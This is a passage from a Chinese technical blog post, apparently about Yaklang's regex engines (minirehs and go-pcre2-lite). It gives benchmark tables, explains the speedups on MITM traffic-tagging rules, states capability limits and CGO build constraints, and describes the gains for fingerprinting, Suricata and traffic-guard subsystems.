1px;">右图为将 minirehs 候选命中后的兜底引擎由 regexp2 更换为 PCRE2后，对 MVS 存在性吞吐的影响。</span></span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 0px;" nodeleaf="" data-mpa-action-id="mreeywzq1wcf" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3975493533015657" data-s="300,640" data-type="png" data-w="2938" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046328" src="https://wechat2rss.xlab.app/img-proxy/?k=ed7b3bdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HNksMVu3olyS0ibHcHUdhwicQ8oCk9nhIOCH9lfRk1DOpIWsCbhJsb1CmHbY2z1JbcIjynmibRy7nauybq87Bic5Na5QUco7UXxdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: center;line-height: 1em;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecioc9vq2"><span leaf="" mpa-font-style="mrekdm6ef8j" style="font-size: 13px;" data-mpa-action-id="mrekdm6x1ze7" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(255, 218, 169);font-weight: bold;">图三</span></span></span></p><div><div><div><p><table style="border: none;border-collapse: collapse;min-width: 125px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">场景</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">dlclark</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">pcre2 drop-in</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">加速比</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">drop-in 分配</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">布尔匹配·短串</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">6472 ns</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">676 ns</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">9.6×</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">0 B / 0</span></span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">布尔匹配·100KB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">26.4 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2.84 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">9.3×</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">0 B / 0</span></span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">含反向引用</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">396 ns</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">186 ns</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2.1×</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">0 B / 0</span></span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">重回溯·32KB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">20.0 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">10.9 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1.8×</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">0 B / 0</span></span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">编译·复杂模式</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">10.3 µs</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">~3.2 µs</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">3.3×</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1.5 KB / 17</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">FindAll·670 命中</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">380 µs</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">138 µs</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2.8×（low-level 6.0×）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">—</span></p></td></tr></tbody></table></p></div></div></div><blockquote><p><span leaf="">右图</span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(255, 185, 149);">诚实标注</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(255, 185, 149);">：</span></span><span leaf="">&#34;切换前&#34;为 README 记录的 Phase 4 快照（C 内核存在性档），&#34;切换后&#34;为本机第一手实测（当前默认构建，纯 Go MVS + PCRE2 兜底），</span></p><p><span leaf="">两者后端档位不完全一致，</span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(255, 185, 149);">不是同一构建上的受控 A/B</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(255, 185, 149);">，</span></span><span leaf="">表达的是&#34;当前默认构建相对历史快照的整体提升&#34;，其中兜底换 PCRE2 是被 profile 标记的主导因素之一，</span></p><p><span leaf="">但不能把全部增益单独归因于它；单条正则层的严格受控收益以左图 PCRE2 vs dlclark 为准。本机快速抽样（</span><code data-mpa-action-id="mreidc3h148q" data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mreidc2x1zna" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">benchtime</span><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">=2x</span></code><span leaf="">，有噪声）也佐证了方向：短串布尔匹配 low-level ~9.5×、分配 5→1。</span></p></blockquote><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 3 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">五、结果解释</span></span></p></div></div></div><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-bottom: 8px;margin-top: 8px;"><strong><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mreco1vp1meq"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">合成集可达 80×+ 而真实 MITM 约 32× 的原因</span></span></span></strong><span mpa-font-style="mreco1vpryo" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">合成集字面量丰富、命中稀疏，预过滤命中率高，</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">× N_rules</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 因子被有效消除；真实 MITM 为对抗性规则集——含大量形如 (...key|auth|user...).*? 的宽泛正则，字面量短而常见且含无界 .*?，字面量命中后仍需整段验证，该成本占主导，故加速比收敛至约 32×。此为规则形态的固有属性，已通过 profile 与&#34;全并/LimEx&#34;等实验定位（见 minirehs/MINI_VECTOR_SCAN_IMPL.md）。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mreco1vpqzy" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">存在性档快于定位档的原因</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">打标仅需判定&#34;哪些规则命中&#34;，可走纯位运算快路径、不追踪 leftmost-longest 偏移，分配亦更低。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mreco1vp224s" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">两层分工的本质</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">minirehs</span></span></code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 将&#34;匹配次数&#34;从 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">N_rules × N_packets</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 降至 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">~N_packets</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">；</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">go-pcre2-lite</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 进一步压低&#34;每次匹配的常数&#34;并约束 ReDoS。</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mreco1vpanp"><span leaf="">二者叠加，构成 MITM 端到端由 0.19 提升至 6~7 MB/s 的来源。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">六、能力边界、生态影响与结论</span></strong></p></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 17px;" mpa-font-style="mrecsj4a1cun"><span leaf="" mpa-font-style="mrecsqnrazu" style="font-size: 15px;">首先明确</span></span><span mpa-font-style="mrecsqnr1zr2" style="font-size: 15px;"><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">适用边界</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">以避免对数字的误读。该方案的强项在于字面量丰富、命中稀疏、规则数大的场景（指纹识别、扫描规则、IOC），加速比随规则数增长，合成集可达数十至上百倍；弱项在于充斥 </span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">.*</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 与常见短字面量的对抗性规则集，此时整段验证成本占主导，MVS 存在性约 32×、纯 Go 引擎约 2.5×。继续逼近 Hyperscan/vectorscan 量级需依靠</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Teddy SIMD 默认化 + Rose-lite 链分解（命中点小邻域验证），</span></span></strong><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;font-weight: normal;">而非在逐条正则之上叠加&#34;组合 gate 预筛&#34;（后者经实测否决，在对抗集上反而更慢）。</span></span></strong></span></p><p style="margin: 8px;"><span mpa-font-style="mrecsqnr1zr2" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;font-weight: normal;">此外存在两项工程约束：</span></span><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">存在性档不提供精确偏移（需要位置时改用定位档，或以存在性档作快速门）；</span></span></strong><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">go-pcre2-lite</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 兜底</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">强制 </span></span></strong><strong style="font-size: 15px;font-weight: bold;"><code><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">CGO_ENABLED=1</span></span></code></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">而 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">minirehs本身在 </span></span></code><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">CGO_ENABLED=0</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 下亦可纯 Go 运行，二者对 CGO 的要求不同，需在分发矩阵中分别处理。迁移时应按 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">MIGRATION.md核对少数文档化的语义差异（混合命名/无名组编号、重复组 capture 历史、RightToLeft；按名访问始终一致）。</span></span></code></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><span mpa-font-style="mrecsqnr1z78" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">在</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">生态影响</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">层面，正则是 Yaklang 的底层原语，因此两项工作的收益不限于 MITM。其一，它提供了统一的正则底座：common/utils/regexp-utils</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 已成为全生态的正则入口（RE2 优先、PCRE2 兜底），凡使用该入口的子系统——指纹识别 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">common/fp</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">、Suricata 规则 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">common/suricata</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">、流量守卫 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">common/crep/trafficguard</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">、SyntaxFlow 规则匹配——均自动继承&#34;更快、布尔匹配零分配、ReDoS 有界、语法更全&#34;的收益，此前因语法受限而无法使用的历史规则相当一部分可直接运行。其二，ReDoS 由潜在隐患转为平台属性：安全工具需处理用户提供或第三方来源的正则，旧引擎&#34;永不超时&#34;意味着单条异常正则即可拖垮引擎，PCRE2 的有界匹配将其转为可返回错误的可控事件。其三，</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">rehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 成为 yak 语言的一等能力：插件作者可通过 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">rehs.BuildGroup / Match / Find / MatchedPatterns实现一次编译、一次扫描海量规则，无需自行编写逐条循环。其四，</span></span></code><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">minirehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 零外部依赖、不加载任何动态库、CGO 不可用时优雅退化为纯 Go，契合 Yak 引擎跨平台可移植、分发稳定的定位。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecsqnrk0w" style="font-size: 15px;"><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">结论</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">真实 MITM 87 条规则 + ~5MB 真实流量下，存在性打标约 </span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">32×</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">、</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">纯 RE2 子集约 </span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">38×</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">、</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">定位档约 </span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">14×</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: 